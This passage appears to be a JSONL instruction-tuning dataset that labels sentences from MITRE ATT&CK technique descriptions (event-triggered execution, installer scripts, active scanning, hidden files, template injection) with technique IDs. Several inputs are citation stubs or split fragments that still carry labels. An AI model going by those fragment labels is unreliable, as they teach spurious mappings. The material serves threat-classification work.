execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)", "output": "T1651", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021) ### Response: T1651."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Installer packages are OS specific and contain the resources an operating system needs to install applications on a system.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Installer packages can include scripts that run prior to installation as well as after installation is complete.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Installer packages can include scripts that run prior to installation as well as after installation is complete. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Installer scripts may inherit elevated permissions when executed.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Installer scripts may inherit elevated permissions when executed. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user installs the application, they may be required to grant administrative permissions to allow the installation.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user installs the application, they may be required to grant administrative permissions to allow the installation. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti) ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications.", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have leveraged `Prebuild` and `Postbuild` events to run commands before or after a build when installing .msi files.(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)", "output": "T1546.016", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have leveraged `Prebuild` and `Postbuild` events to run commands before or after a build when installing .msi files.(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts) ### Response: T1546.016."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting.", "output": "T1595", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. ### Response: T1595."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.", "output": "T1595", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. ### Response: T1595."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform different forms of active scanning depending on what information they seek to gather.", "output": "T1595", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform different forms of active scanning depending on what information they seek to gather. ### Response: T1595."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "output": "T1595", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). ### Response: T1595."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may scan victim IP blocks to gather information that can be used during targeting.", "output": "T1595.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may scan victim IP blocks to gather information that can be used during targeting. ### Response: T1595.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.", "output": "T1595.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. ### Response: T1595.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses.", "output": "T1595.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. ### Response: T1595.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1595.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1595.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1595.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1595.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file.", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line.", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS). ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files. ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary.", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Simply do <code>attrib", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Simply do <code>attrib ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "+h", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: +h ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "filename</code> to mark a file or folder as hidden.", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: filename</code> to mark a file or folder as hidden. ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only.", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d. ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware).", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d.", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users must specifically change settings to have these files viewable.", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users must specifically change settings to have these files viewable. ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For command line usages, there is typically a flag to see all files (including hidden ones).", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For command line usages, there is typically a flag to see all files (including hidden ones). ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application. ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace.", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.", "output": "T1158", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys. ### Response: T1158."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts.", "output": "T1221", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. ### Response: T1221."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Microsoft\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt).", "output": "T1221", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Microsoft\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). ### Response: T1221."}{"instruction": "List the MITRE techniques contained in the text.", "input": "OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)", "output": "T1221", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017) ### Response: T1221."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Properties within parts may reference shared public resources accessed via online URLs.", "output": "T1221", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Properties within parts may reference shared public resources accessed via online URLs. ### Response: T1221."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.", "output": "T1221", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded. ### Response: T1221."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents.", "output": "T1221", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. ### Response: T1221."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection)", "output": "T1221", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) ### Response: T1221."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or", "output": "T1221", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or ### Response: T1221."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation:", "output": "T1221", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: ### Response: T1221."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)", "output": "T1221", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017) ### Response: T1221."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also modify the <code>*\\template</code> control word within an .rtf file to similarly conceal then download malicious code.", "output": "T1221", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also modify the <code>*\\template</code> control word within an .rtf file to similarly conceal then download malicious code. ### Response: T1221."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened.", "output": "T1221", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. ### Response: T1221."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation:", "output": "T1221", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: ### Response: T1221."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proofpoint RTF Injection)(Citation:", "output": "T1221", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proofpoint RTF Injection)(Citation: ### Response: T1221."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Ciberseguridad Decoding malicious RTF files)", "output": "T1221", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Ciberseguridad Decoding malicious RTF files) ### Response: T1221."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)", "output": "T1221", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016) ### Response: T1221."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These scripts can vary based on operating system and whether applied locally or remotely.", "output": 